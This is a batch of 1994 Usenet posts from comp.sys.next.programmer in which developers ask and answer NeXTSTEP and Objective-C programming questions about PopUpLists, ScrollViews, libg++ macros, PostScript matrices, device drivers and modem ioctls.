Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: need to init a popUpList Message-ID: <CKKA8J.2AD@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <2ik8ov$dop@wave.aoml.erl.gov> Date: Tue, 1 Feb 1994 20:00:18 GMT Cary Bakker writes > I use a popUpList to display a selection of items within an > inspector. I want to be able to set the popUp to a specific item > within the list when the inspector is displayed. The PopUpList class always rears its ugly head about the time one thinks they are really starting to get a handle on all this OO AppKit stuff... > This is what happens: the inspector is updated to contain info > on a new object, so the popUpList is recreated and loses the > previous selection. I want to be able to set, say, the index of > the item that should be selected in the popUp. First; A popuplist in the UI is not really a popuplist. It is an instance of Button that encapsulates an instance of PopupList (which inherits from Menu). The Buttons target & action are aimed at the Popuplist instance. So, you can approach selection of cells in the popuplist in two ways: 1. send the button a -setTitle: message w/the title of the menu item you wish to be selected. This is bad-- if your app ever has to be translated to another language, the code will have to be translated, as well. 2. grab the PopUpList instance from from the button (it should be the return value of -target), then grab its itemList, and tell it to -selectCellWithTag:. There are situations within which this will fail; notably, the actual PopupList is rendered in a window of its own (read the docs on Menu; for PopUpList, this feature allows it to render a menu that crosses outside the boundaries of the window within which the owning button resides). The containing window is configured as deferred-- that means that the instance of Menu (which is the containing Window-- look at the inheritance tree) and the MenuCells contained in Menu's matrix instance variable will not be initialized until AFTER the window has been displayed for the first time... There are ways around this paticular problem; I can't remember what/where I implemented code to get around this, so can't do anything truly useful and include an example-- sorry. When writing your code put sanity checks in everything that manipulates the PopUp's cells; specifically, make sure that when you request the ID of a paticular cell or go to actually select a paticular cell, make sure that the selection 'sticks'. BTW: To make the owning Button aware of the selection change, you might want to grab the title of the cell with the appropriate index and then send the button the -setTitle: method. > There's prolly some easy way to do this, and that's why I'm asking > ;) Thanks, No-- PopUpLists are one of those objects that NeXT's implementation falls way short on.... > Cary -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
Newsgroups: comp.sys.next.programmer From: flight@mathi.uni-heidelberg.de (Gregor Hoffleit) Subject: ScrollView that behaves 'shell-like' Message-ID: <1994Feb2.120914.25451@sun0.urz.uni-heidelberg.de> Sender: news@sun0.urz.uni-heidelberg.de (NetNews) Organization: University of Heidelberg, Germany Date: Wed, 2 Feb 94 12:09:14 GMT Hi, can anybody think of a simple way to have a TextView show a behavior similar to a shell ? That means only the last line of the Text should be editable (last line = text added since last 'enter'), the rest only browsable. 'Enter' should lead to an textDidEnd:. The only way I could think of this was to write an own TextFilter object that checks after 'left arrow', 'backspace' and so on, if the left border of the 'last line' has been reached and do nothing then. Is this viable or is there another, nicer way to do this ? I just want to write a frontend to a process that accepts a line a time. The example in Garfinkel/Mahoney is nice, but the editing feature for previous lines is annoying. Many thanks, Gregor -- | Gregor Hoffleit admin MATHInet / contact HeidelNeXT | | MAIL: Mathematisches Institut PHONE: (49)6221 56-5771 | | INF 288, 69120 Heidelberg / Germany FAX: 56-3812 | | EMAIL: flight@mathi.uni-heidelberg.de (NeXTmail) |
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: C, C++ programming environment for NS 3.0 Date: 2 Feb 1994 13:47:16 -0000 Organization: me organized? That's a joke! Message-ID: <2ioat4$183@steffi.demon.co.uk> References: <2imfdrINNc63@jumbo.read.tasc.com> mcli@minnie.Read.TASC.COM (Maurice C. Ling) wrote in comp.sys.next.programmer >[ Article crossposted from comp.sys.next.software ] >[ Author was Maurice C. Ling ] >[ Posted on 1 Feb 1994 20:48:46 GMT ] > >Maurice C. Ling (mcli@minnie.Read.TASC.COM) wrote: >: Hi everyone, > >: I'm having some troubles getting libg++.a version 2.5.3 working with >: gcc 2.5.8. When running "make check", it dies on the first test_h.cc >: program, giving: > >: ld: Undefined symbols: >: _S_ISREG >: _S_ISCHR > >: Has anyone else compiled the recent versions of libg++? >: BTW: system is a NeXTcube '040 with 16M RAM > >BTW, I'm running NS 3.0. I saw that ftp.next.com has >a libg++ pkg, but it's only good for NS3.1. > >I would like a stable environment to develop c and c++ code. >Would it be best to just use the old libg++ version 1.39(?). >Any suggestions would be appreciated. > >thanks, > >-Maurice This is because they are only used in the Posix header branches. NOTE: there are no NeXT equivalents. /usr/include/bsd/sys/stat.h #ifdef _POSIX_SOURCE #define S_IRUSR _S_IRUSR /* read permission, owner */ #define S_IRGRP 0000040 /* read permission, group */ #define S_IROTH 0000004 /* read permission, other */ #define S_IWUSR _S_IWUSR /* write permission, owner */ #define S_IWGRP 0000020 /* write permission, group */ #define S_IWOTH 0000002 /* write permission, other */ #define S_IXUSR _S_IXUSR /* execute/search permission, */ /* owner */ #define S_IXGRP 0000010 /* execute/search permission, */ /* group */ #define S_IXOTH 0000001 /* execute/search permission, */ /* other */ #define S_IRWXU 0000700 /* read, write, execute */ /* permissions, owner */ #define S_IRWXG 0000070 /* read, write, execute */ /* permissions, group */ #define S_IRWXO 0000007 /* read, write, execute */ /* permissions, other */ #define S_ISBLK(mode) (((mode) & (_S_IFMT)) == (_S_IFBLK)) #define S_ISCHR(mode) (((mode) & (_S_IFMT)) == (_S_IFCHR)) #define S_ISDIR(mode) (((mode) & (_S_IFMT)) == (_S_IFDIR)) #define S_ISFIFO(mode) (((mode) & (_S_IFMT)) == (_S_IFIFO)) #define S_ISREG(mode) (((mode) & (_S_IFMT)) == (_S_IFREG)) #endif /* _POSIX_SOURCE */ #ifdef _NEXT_SOURCE #define S_IFMT _S_IFMT /* type of file */ #define S_IFDIR _S_IFDIR /* directory */ #define S_IFCHR _S_IFCHR /* character special */ #define S_IFBLK _S_IFBLK /* block special */ #define S_IFREG _S_IFREG /* regular */ #define S_IFLNK _S_IFLNK /* symbolic link */ #define S_IFSOCK _S_IFSOCK /* socket */ Try adding.... #ifndef _ISMACROS #define S_ISBLK(mode) (((mode) & (S_IFMT)) == (S_IFBLK)) #define S_ISCHR(mode) (((mode) & (S_IFMT)) == (S_IFCHR)) #define S_ISDIR(mode) (((mode) & (S_IFMT)) == (S_IFDIR)) #define S_ISFIFO(mode) (((mode) & (S_IFMT)) == (S_IFIFO)) #define S_ISREG(mode) (((mode) & (S_IFMT)) == (S_IFREG)) #define _ISMACROS #endif somewhere in the tests application files. You will also have to change a struct dirent call to struct direct in the libg++ test suite too together with removing a #include <sys/dirent.h> to replacing it with #include <sys/dir.h> -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "What?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: reinhard@avalon.unizh.ch (Peter Reinhardt) Subject: Sending Messages between Objects Message-ID: <1994Feb2.140323.20579@ifi.unizh.ch> Sender: news@ifi.unizh.ch (USENET News Admin) Organization: University of Zurich, Department of Computer Science Date: Wed, 2 Feb 1994 14:03:23 GMT I am writing an application in Objective-C with Interface Builder and I have following problem: In my application I have a main-nib File with an Object (Controller). I have now several other nib-Files with other Objects in it (e.g. Object A B and C). It is simple to get for the main object the references for A B and C. And within the Objects A B and C it is simple to refer to the Controller-Object (via the File Owners Icon). How can I now send a message from A to B ? In the Object A I have no reference to the Object B (and otherwise). I have two solutions to this problem, but I dont like them: 1. I have to create an access-method in the Object Controller for every sub-object i have. I can then get from the object A the reference for object B by sending a message to the Controller object. 2. I insert some global Variables in the Controller.h file and assign to these global variables at startup time or when loading the nib file the value of the object references. This is the solution i have used so far, but I dont like global variables, they dont fit in the Object-Oriented approach. A third solution badly does not work (as far as i tested it): Declaring the variables in Controller as public and access them via Controller->object_A . the compiler says, that the structure Controller has no entry object_A. I think there MUST be a better way to implement this, but how? Peter
Newsgroups: comp.sys.next.programmer From: mdw@sitar.jazz.att.com (Mark Wuest) Subject: Re: Typed streams are evil (I've implement Message-ID: <CKLpv2.BFt@cbfsb.cb.att.com> Originator: news@cbnewsg.cb.att.com Sender: news@cbfsb.cb.att.com Organization: AT&T Bell Laboratories References: <2im5hl$sv3@gpo.gb.swissbank.com> Date: Wed, 2 Feb 1994 14:35:25 GMT Several projects here at AT&T also use a ASCII-based technigue for moving data around. Even though it's not *that* nifty, it *is* "AT&T Proprietary", so I can't say very much. Suffice it to say that it is provided as a package (a compiler for message definitions and a library of functions that parse records/messages for you) and works seemlessly across many, many different hardware architectures. This one does not support any floating point stuff, but could easily be extended to do so. It supports char, long, short, etc., and arrays of any of the above and arrays of any other message consisting of the above. (Of course, you could define your own float type with the two parts as longs).Anyway, just another data point that *LOTS* of people use ASCII-fied binary as a form of platform-independant data definition. For all I know, it is available (like nmake) as a product. Mark -- Mark Wuest mdw@sitar.jazz.att.com (NeXT Mail Ok)
From: gbol@custard.think.com (Gregory Lampshire) Newsgroups: comp.sys.next.programmer Subject: I've reimplemented a ScrollView but Scroller acts funny, help needed Date: 2 Feb 94 09:55:40 Organization: Thinking Machines Corporation, Cambridge MA, USA Distribution: world Message-ID: <GBOL.94Feb2095540@custard.think.com> I've reimplemented a ScrollView and used Scroller as my scrollbar. However, strange Scroller activity is taking place... 1) Scrollbar gets two events for every mouse scrollbar activity at the beginning and end of that activity. The scrollbar position is the same for the two events indicated that the scroller never moved. Horiz and vert scrollers display this. 2) When I mouse down, the scrollbar actually jump slightly to a different position! right under my cursor! I believe this only happens on the vertical scroller. 3) On the vertical scrollbar, when I drag up, NO mouse events are transmitted until I either mouse-release or drag downwards. This is not evidenced on the horizontal scroller. I've done nothing fancy with the scrollers at all. Any clue as to why this might be happening? I reimplemented the ScrollView class in order to improve resource allocation for extremely large datasets. cheers, gregory
Newsgroups: comp.lang.objective-c,comp.sys.next.programmer From: montyz@il.us.swissbank.com (Montgomery Zukowski) Subject: Runtime hacker's club Message-ID: <1994Feb2.151424.5763@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Wed, 2 Feb 1994 15:14:24 GMT If that title caught your attention then maybe you can shed some light on this scenario. Let's say I want to dynamically create an object just to store data and maybe use inherited methods from a superclass. I want other objects to be able to call setWhatever:(anytype) blah and -(anytype)whatever to get data in and out. The approach I was thinking of would be in the method structure for the class map all methods like setWhatever:(anytype) blah to a setGeneric: method which looks at the _cmd to deduce which instance variable to set, finds the offset of the instance variable and puts the value there. Which leads me to my main question: How can I handle any arbitrary size of an argument in one method or function? Or is that something I just can't get around? Monty
Newsgroups: comp.sys.next.programmer From: sfitzp@cs.qub.ac.uk (Stephen Fitzpatrick) Subject: Re: ScrollView that behaves 'shell-like' Message-ID: <1994Feb2.142114.9209@ousrvr.oulu.fi> Sender: news@ousrvr.oulu.fi Organization: University of Oulu References: <1994Feb2.120914.25451@sun0.urz.uni-heidelberg.de> Date: Wed, 2 Feb 1994 14:21:14 GMT Not an answer I'm afraid, but a further question on the topic. Can anybody point to an example of how to do efficient scrolling text without a history buffer (as in a Terminal window). Something that could handle, say, ~1k characters per second. -- Stephen Fitzpatrick | sfitzp@cs.qub.ac.uk O-O Department of Computer Science | (NeXT mail ok) | The Queen's University of Belfast|"Keep passing the OpenWindows" v , say, ~1k characters per second. -- Stephen Fitzpatrick | sfitzp@cs.qub.ac
Newsgroups: comp.sys.next.programmer From: andy@research.canon.oz.au (Andy Newman) Subject: Re: Typed streams are evil (I've implemented text, it's better) Message-ID: <CKGx9u.353@research.canon.oz.au> Sender: news@research.canon.oz.au Organization: Canon Information Systems Research Australia References: <2i3i4s$lh1@darkstar.UCSC.EDU> <CK7GoD.5H8@cbfsb.cb.att.com> <2i8jf8$4pq@yucca.omnigroup.com> Date: Mon, 31 Jan 1994 00:27:30 GMT wjs@omnigroup.com (William Shipley) writes: >The amazing things I discovered were: (1) the speed of reading and writing >these ascii files is about comparable to TypedStreams, and (2) the >file sizes for equivalent files were almost identical to those of >TypedStreams. Amazing but true. This is because I don't write out >redundant data the way people writing TypedStreams tend to, and because >I have a mechanism for not writing out any data I can figure out. The parsing time for each should easily be dominated by the I/O time so the speed differences are not too surprising. The size differences are really dependent upon what sort of data you are using. People with lots of floating point will generally loose (ASCII representation will tend to use more space than, say a single prec. floating point #). Other types will be less of a problem, e.g., ints are often small (one or two digits) and you can save space by using an ASCII representation! Of course it all depends on your application's data. -- Andy Newman (andy@research.canon.oz.au)
From: Ralph_Zazula@next.com (Ralph Zazula) Newsgroups: comp.sys.next.programmer Subject: Re: Runtime hacker's club Date: 2 Feb 1994 17:42:22 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2ioolu$8hr@rosie.next.com> References: <1994Feb2.151424.5763@il.us.swissbank.com> Montgomery Zukowski writes > If that title caught your attention then maybe you can shed some light on > this scenario. Let's say I want to dynamically create an object just to > store data and maybe use inherited methods from a superclass. I want > other objects to be able to call setWhatever:(anytype) blah and > -(anytype)whatever to get data in and out. > > The approach I was thinking of would be in the method structure for the > class map all methods like setWhatever:(anytype) blah to a setGeneric: > method which looks at the _cmd to deduce which instance variable to set, > finds the offset of the instance variable and puts the value there. Which > leads me to my main question: How can I handle any arbitrary size of an > argument in one method or function? Or is that something I just can't get > around? > > Monty What if your object implements forward:: and then checks the selector there? In that case, you get the marg_list which you could unparse and forward on to the properly typed function/method. Ralph -- Ralph Zazula Developer Trainer NeXT, Inc. Ralph_Zazula@next.com (415) 780-2893
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: need to init a popUpList Date: 2 Feb 1994 17:47:05 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2iooup$opa@darkstar.UCSC.EDU> References: <CKKA8J.2AD@friday.com> In article <CKKA8J.2AD@friday.com> bbum@friday.com writes: > 2. grab the PopUpList instance from from the button (it should be the > return value of -target), then grab its itemList, and tell it to > -selectCellWithTag:. I've seen the selectCellWithTag: method suggested a couple of times as a way to access a particular popUpList menuCell, but I've not found any documentation that states that the tags of popUpList menuCells are automatically assigned as their respective positions within their matrix. I've just looked at several popUpLists in gdb and haven't found any where this is the case (of course, the ones I examined may have had their tags purposely set, but I don't think so). So unless the tags are explicitly set either in IB or programmatically, I don't think that selectCellWithTag: is a general approach to accessing popUpList menuCells. What has always worked for me: [itemList selectCellAt:aRow :0]; [popUpListButton setTitleNoCopy:[popUpList selectedItem]]; or [popUpListButton setTitleNoCopy:[[itemList selectedCell] title]]; > No-- PopUpLists are one of those objects that NeXT's implementation falls > way short on.... Well, before I really got into PopUpLists (when I had to write a custom DBAssociation for a popUpList associated with an attribute in the current entity, not a related entity), I found them frustrating as well. But once they're understood (and there's really not much to them), they're really kinda neat - a composite object based on existing objects, reuse to the max. Sure, there's a little funkiness when one opens a new window using a popUpList on another window and the list remains on top of the new window or when one moves a popUpList button's window while the popUpList is open and the it doesn't move with its button's window, but, hey, I can live with that. Now, if you want to talk about a frustrating class, how 'bout NXBrowser ?-) But maybe once I get more comfortable with them, I'll like them, too. --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
Newsgroups: comp.sys.next.hardware,comp.sys.next.programmer From: balu@jensen.cc.brandeis.edu (t.balasubramanian) Subject: Help : Kernel server and Device drivers Message-ID: <1994Feb2.182551.10730@news.cs.brandeis.edu> Sender: news@news.cs.brandeis.edu (USENET News System) Organization: Brandeis University Date: Wed, 2 Feb 1994 18:25:51 GMT Hi, This probably is a naive question. What are the advantages or disadvantages using a loadable kernel server over kernel driver (device driver). As we were having lot of trouble writing a kernel driver, we decided to write a loadable kernel server using the example in the LKS given in NeXTStep version 3.2. As there was lot of documentation it was easier to understand this, so we gave it a try. As a starting point we were able to succesfully write data to some port. Is there any problem using the kernel server - like when we are acquiring data and decide to run some other program or do mouse click,drag etc to check the data points , how will the data acquisition be affected and can we do something to give it the highest priority? Also is there a way to get rid of all the messages that go in to the \usr\adm\messages when we run the loadable kernel server. We will be aquiring tons of data and it seems rediculous for these to get in to the message file. Any suggestions will be appreciated. If possible please reply to balu@jensen.cc.brandeis.edu Thanks balu
Newsgroups: comp.sys.next.programmer From: Jacob Gore <jacob@blackbox.enmu.edu> Subject: Re: PostScript setmatrix question Sender: news@math.enmu.edu Message-ID: <1994Feb2.183035.12286@math.enmu.edu> Date: Wed, 2 Feb 1994 18:30:35 GMT References: <1994Feb1.155702.24956@math.enmu.edu> Organization: Eastern New Mexico University, Department of Mathematical Sciences Jacob Gore <jacob@blackbox.enmu.edu> writes > [0 1 -1 0 300 100] setmatrix Heh. Made the stupid assumption that the original matrix is the identity. Changed "setmatrix" to "concat" and it all works. Jacob --- Jacob Gore, Eastern NM U. Jacob@BlackBox.ENMU.Edu | Jacob@Gore.Com Member of the League for Programming Freedom (LPF)--lpf@uunet.uu.net
From: Ali_Ozer@NeXT.com (Ali Ozer) Newsgroups: comp.sys.next.programmer Subject: Re: PostScript setmatrix question Date: 2 Feb 1994 19:14:55 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2iou3f$8mv@rosie.next.com> References: <BYER.94Feb1163002@birch.mv.us.adobe.com> In article <BYER.94Feb1163002@birch.mv.us.adobe.com> Scott Byer writes: > In article <1994Feb1.155702.24956@math.enmu.edu> Jacob Gore writes: > > As far as I can figure out, the following code should take a > > 250x150 box with its lower left corner at (100,200) and with > > "This end up" centered in it, and rotate it 90% around its > > lower left corner. ... > > What am I doing wrong? > Nothing. When run under DisplayTalk, I get the correct results. > I'm not sure what Yap is doing, or Preview for that matter - but I > suspect they're taking on the printing package in front, and that > may be doing something. Probably redefining setmatrix (for your > benefit, of course :-). Hey! Nothing like that! Yap is pretty simple-minded: PostScript in, PostScript out. (Or, garbage in, garbage out.) The default matrix in the window system isn't the identity matrix: matrix currentmatrix == [1.0 0.0 0.0 -1.0 0.0 792.0] ..so you really need to be using concat instead of setmatrix. setmatrix would also have problems in other situations (for instance, if you are printing and somehow your printout gets enscripted or two-upped, setmatrix would totally ignore all the transformations and screw up the output). Ali Ozer, Ali_Ozer@NeXT.com
Newsgroups: comp.sys.next.programmer From: wwright@shell.portal.com (Bradly William Wright) Subject: Has anyone written a generic fax modem driver (free code?) Message-ID: <CKMA3t.HpM@unix.portal.com> Summary: Does anyone have source code for a generic fax modem driver? Keywords: fax modem, driver, free code Sender: news@unix.portal.com Organization: Portal Communications Company Date: Wed, 2 Feb 1994 21:52:34 GMT I'd love to be able to get my cheap modem send and receive faxes under NeXTSTeP. I can't afford $1000 for a 9600 baud fax/modem and NeXTSTeP driver combination. Does anyone have source code to a generic fax modem driver. I'm sure that this isn't too difficult, because all I really need is the system API's. Is it covered in the documentation somewhere? Thanks, Brad Wright wwright@premisys.com wwright@shell.portal.com
Newsgroups: comp.sys.next.programmer From: jmartin@Dallas.Bozell.com (Jeff Martin) Subject: Re: Communicating to sound driver. How? Message-ID: <1994Feb2.161537.27951@bozell.com> Sender: news@bozell.com Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc. References: <2iht3p$sl2@access1.digex.net> Date: Wed, 2 Feb 1994 16:15:37 GMT In article <2iht3p$sl2@access1.digex.net> sbender@access1.digex.net (Scott Bender) writes: > I have made modifications to the ProAudioSpectrum driver to add > the ability to change certain setting on the PAS card, like > balance, loudness, etc. I have also written an application that > has a user interface to these setting. What I can't figure out > is how to communicate from the userinterface to the driver. > It must be possible, becasue the Preference app can change the > volume, and Sound.app can play and record sounds, but How? > Any clues, or seen and samples? IODeviceMaster is the class used by user-level programs to gain access to device driver instances. The class description for this object has an example of how to do this. You simply link with libDriver, get the IODeviceMaster shared instance, get the specific drivers tag with the -lookUpByDeviceName:objectNumber:deviceKind: method and get and set parameters for that driver with the getValues:forParameter:objectNumber:tagcount: setValues:forParameter:objectNumber:tagcount: methods. Hope this helps... ... jeff
Newsgroups: comp.sys.next.programmer From: c4craig@csn.org (Craig Anderson) Subject: NSI modem lines? Message-ID: <CKME3u.Hx9@csn.org> Sender: news@csn.org (The Daily Planet) Organization: Colorado SuperNet, Inc. Date: Wed, 2 Feb 1994 23:19:05 GMT I am having trouble reading the modem lines in NSI 3.2. After opening /dev/cufa: istat = ioctl (fd, TIOCMGET, &modem_lines); (gdb) print modem_lines $1 = 6 Bit definitions from ioctl.h #define TIOCM_DTR 0002 /* data terminal ready */ #define TIOCM_RTS 0004 /* request to send */ #define TIOCM_CTS 0040 /* clear to send */ #define TIOCM_CAR 0100 /* carrier detect */ #define TIOCM_RNG 0200 /* ring */ #define TIOCM_DSR 0400 /* data set ready */ I am expecting CTS and DSR to be set. CKermit under NSI 3.2 also gives incorrect modem line status. C-Kermit>show modem Line: /dev/cufa, Modem: direct Carrier Detect (CD): Off Line: /dev/cufa, Modem: direct Carrier Detect (CD): Off Dataset Ready (DSR): Off Clear To Send (CTS): Off Ring Indicator (RI): Off Data Terminal Ready (DTR): On Request to Send (RTS): On Booting dos and running kermit gives the expected modem line status. Any Ideas. Craig Anderson craig@c4.com
From: wjs@omnigroup.com (William Shipley) Newsgroups: comp.sys.next.programmer Subject: Re: loadNibSection keeps grabbing more `New' memory Date: 2 Feb 1994 06:20:28 -0800 Organization: The Omni Group Message-ID: <2iocrc$p42@yucca.omnigroup.com> References: <2ibs12$mrn@tribune.usask.ca> Keywords: memory, loadNibSection Loading a NIB file allocates memory beyond what you might expect; I don't know of any way to free this memory, although there may be one. What I've done in the past is simply not free windows; instead I put them on a 'free' list, and next time I need a window of the same sort I look first on the free list, and only if that is empty do I load the NIB file again. This saves time as well as memory. Also, this stays crisp in milk. -William Shipley Omni Development, Inc
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: Palettizing a Box subclass. Message-ID: <1994Feb2.163802.2587@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <2ij8g1$l4u@gpo.gb.swissbank.com> Date: Wed, 2 Feb 1994 16:38:02 GMT I've found that if you replace the content view of your Box subclass, you can no longer drag subviews into it from IB. Anyone who is interested in a source code example of the problem should write me. More importantly, anyone with a solution to the problem should write me! And even more importantly, you should write NeXT (ask_next@NeXT.com) and ask them what they think is going on... Furthermore, you can't write your own IBEditor for View subclasses. It's not fully supported! Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <2ij8g1$l4u@gpo.gb.swissbank.com> patersk@gb.swissbank.com (Kevin Paterson ) writes: > In article <1994Jan14.221522.28237@news.media.mit.edu> wave@media.mit.edu > (Michael B. Johnson) writes: > > In article <SCOTT.94Jan14143110@nic.gac.edu> scott@nic.gac.edu (Scott > Hess) writes: > > >>Anyone ever managed to build an IB palette of a Box subclass? > > >>Apparently Box's use a magical cover view, because when I make > > >>changes from my inspector, the changes are not reflected in the > > >>view's look until I do something odd, like resize the window. > > >> > > > > SwitchView (in Thomas Burholder's awesome TTools mini-example) is a > subclass > > of Box. One of my all time favorite objects... > > Yes but have you ever tried to invoke the Box editor in the TTools > mini-example or any other example. You cannot paste into a subclass of box > using the super class' IBEditor, although you can drag a view into it from > a palette. Has anyone found a way of pasting without writing your own > IBEditor? > > Kevin > Swiss Bank Corporation > London
From: Tim Pugh <tpugh@oce.orst.edu> Newsgroups: comp.sys.next.programmer,comp.lang.objective-c Subject: OPN Request For String Class Protocol Date: 3 Feb 1994 01:27:41 GMT Organization: University Computing Services - Oregon State University Message-ID: <2ipjud$14g@gaia.ucs.orst.edu> REQUEST FOR STRING CLASS PROTOCOL --------------------------------- OPN (ObjectWare Professionals Network) is requesting Protocols for String Classes. Please send submissions to Tim Pugh <tpugh@oce.orst.edu> (NeXTmail accepted) and enclose header file (*.h) and documentation as a rich text file format (*.rtf) using NeXT's documentation format. The documents will be reviewed and a draft document proposing the String Class Protocol will be issued for discussion and modifications. Upon sufficient discussion and action, the protocol will be voted upon for approval as a standard String Class Protocol. If approved, the protocol will be published and made available to all developers. Developers can use the protocol to ensure conformance between their String Classes and others third parties. Drafts revisions will be announced on the OPN mailing-list and submitted for review to an ftp site. If you wish to participate in the approval process, subscribe to the OPN mailing-list. We hope to have the first draft document by Feb. 16, 1994. 1) To subscribe to the OPN mailing-list, send email to: To: shiva@vega.stanford.edu (Marcos Javier Polanco) Subject: Subscribe OPN mailing-list Name <your_address> . 2) OPN mailing-list address is OPN@vega.stanford.edu 3) OPN ftp site: ftp.netcom.com:/pub/opn OPN is currently looking for volunteers for help draft, evaluate, and test the protocol. Please send mail to tpugh@oce.orst.edu if you are interested. OPN is looking for a test suite for testing the protocol. If your organization can make an application and source code available, please send mail to tpugh@oce.orst.edu. OPN has not defined any Protocol Standardization procedures, but is attempting to define them. As we move to adopt this protocol, we will draft a procedure for other Protocol Class Standardizations to follow. So please make suggestions when something is amiss. Currently, OPN does not have a membership fee or fees of any kind. This may change in the future. The OPN mission: "To promote the creation of the technical and organizational infrastructures necessary to help customers acquire, integrate, and maintain multivendor component software in support of the user organizations' unique business objectives." -marcos j. polanco -shiva@vega.stanford.edu OPN exists to help OO developers define Object Standards thru protocols for the benefits of the computer industry. We hope you can make use of OPN's organization to strengthen the integration of objectware and applications. STRING CLASS PROTOCOL --------------------- Object: To design a protocol for String Class objects to ensure minimal conformance between future third party String Classes. The String Class is a simple class which encapsulates C strings. The Class provides memory management and standard C string manipulations commonly found in ANSI C, and helps to reduce programming errors, thus reducing development costs and time. What makes the String Class protocol so important is that it is the foundation class for some objectware classes and applications. In order for objectware to work seemlessly between different developers without translations or documentation, there must be an agreement on protocol conformance and behavior. Already there is several String protocols defined by objectware vendors but no conformance between competing protocols. Hence the need for drafting a standard protocol among objectware developers. FOUNDATION CLASSES ------------------ Foundation Classes such as the String Class, need to standardize on a protocol so more independent object classes can be mixed and matched. OPN plans to work to adopt more class protocols, but there needs to be priority list. OPN will be announcing later this month a request for additional foundation classes ready for protocol adoption and standardization. From that list, OPN will ask members to prioritize the list and then work will begin. The idea is to focus members on a few classes at a time and not do everything at once because we are all interested in what classes are being considered and what protocols emerge but our time is finite. Plus OPN resource are limited. To find out more about OPN's membership and corporate support, contact Marcos Javier Polanco at <shiva@vega.stanford.edu>. Sincerely, Tim Pugh Scientific Programmer Oregon State University -------------------------------------------------------------- Tim Pugh email: tpugh@oce.orst.edu Oceanic and Atmospheric Sciences voice: 503-737-2270 Oregon State University fax: 503-737-2064 NeXTmail ok!
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (gery) Subject: Re: Dynamic/Scolling Matrices Message-ID: <1994Jan31.161329.8540@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. References: <1994Jan30.151028.10008@news.cs.indiana.edu> Distribution: all Date: Mon, 31 Jan 1994 16:13:29 GMT In article <1994Jan30.151028.10008@news.cs.indiana.edu> "Kharim Hogan" <kharim@cs.indiana.edu> writes: > Hi, > > Does anybody know how to implement a dynamically growing matrix? What > I'd like to do is have a matrix of text cells of a predetermined size > which starts up with my application. The number of parameters in both > the X and Y direction that the user enters is never the same. They > have to enter 4 numbers in the X direction but can enter any number > of parameters greater than 4 and the size of the matrix in the Y direction > has to be unlimited. Hence it has to be a minimum of a 4xN matrix which > can't be known beforehand. > > I'd like to specify a 'starting' matrix that will start to scroll in the > X direction (out to the right) if the user 'tabs' beyond the last cell > (column) and creates a new row if the user hits 'return' beyond the last > given row. As well, I'd like this to happen as a scroll window rather > than actually see the complete matrix once done. > > Can anyone help me? I'm still a novice with NeXTStep programming so if > you can either point to the right docs or provide examples of code to do > this, this would be greatly appreciated. > > Thanks much, > Kharim Hogan > > kharim@cs.indiana.edu > > > > > -- The simplest way to do that is to put your matrix in a scroll view So when your user press return ... you check the size of your matrix and if you need to add a row just send the message - addRow followed by a - sizeToFit to the matrix and send a - reflectScroll: yourMatrix to the scrollView if the new matrix is bigger and can't fit in the scrollview, you'll obtain the vertical scroller (scrollview seems to be clever). good Luck Gery DIVRY (ZZVolume Conceptor) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 Fax: (+33) 72 80 16 32 69007 LYON Email: gery@ares.fdn.org FRANCE NeXT mail accepted
From: hsr@cs.Stanford.EDU (Scott Roy) Newsgroups: comp.sys.next.programmer Subject: No awakeFromNib in IB test mode? Date: 3 Feb 1994 04:23:52 GMT Organization: Stanford University: Computer Science Department Distribution: world Message-ID: <2ipu8o$at0@Times.Stanford.EDU> I'm trying to get a multipart object to work in IB test mode, but much to my surprise, InterfaceBuilder doesn't seem to send out awakeFromNib messages during testing. Is there another message it does send out? Can anyone think of a different way to get a message sent after all the outlet variables have been set? Any help is appreciated. --- Scott Roy Department of Computer Science Stanford University
Newsgroups: comp.sys.next.programmer From: darnellg@netcom.com (Darnell Gadberry) Subject: DSP Mem Expansion NX Station Turbo Message-ID: <darnellgCKMpD0.7ys@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Thu, 3 Feb 1994 03:22:11 GMT I am looking for a source of DSP Memory expansion simms for my collection of NeXT Station Turbo machines. I need about 15 pieces. Any assistance (pointers to a source) would be greatly appreciated. Thanks Darnell Gadberry / Phonica darnellg@netcom.com (310) 592-5950
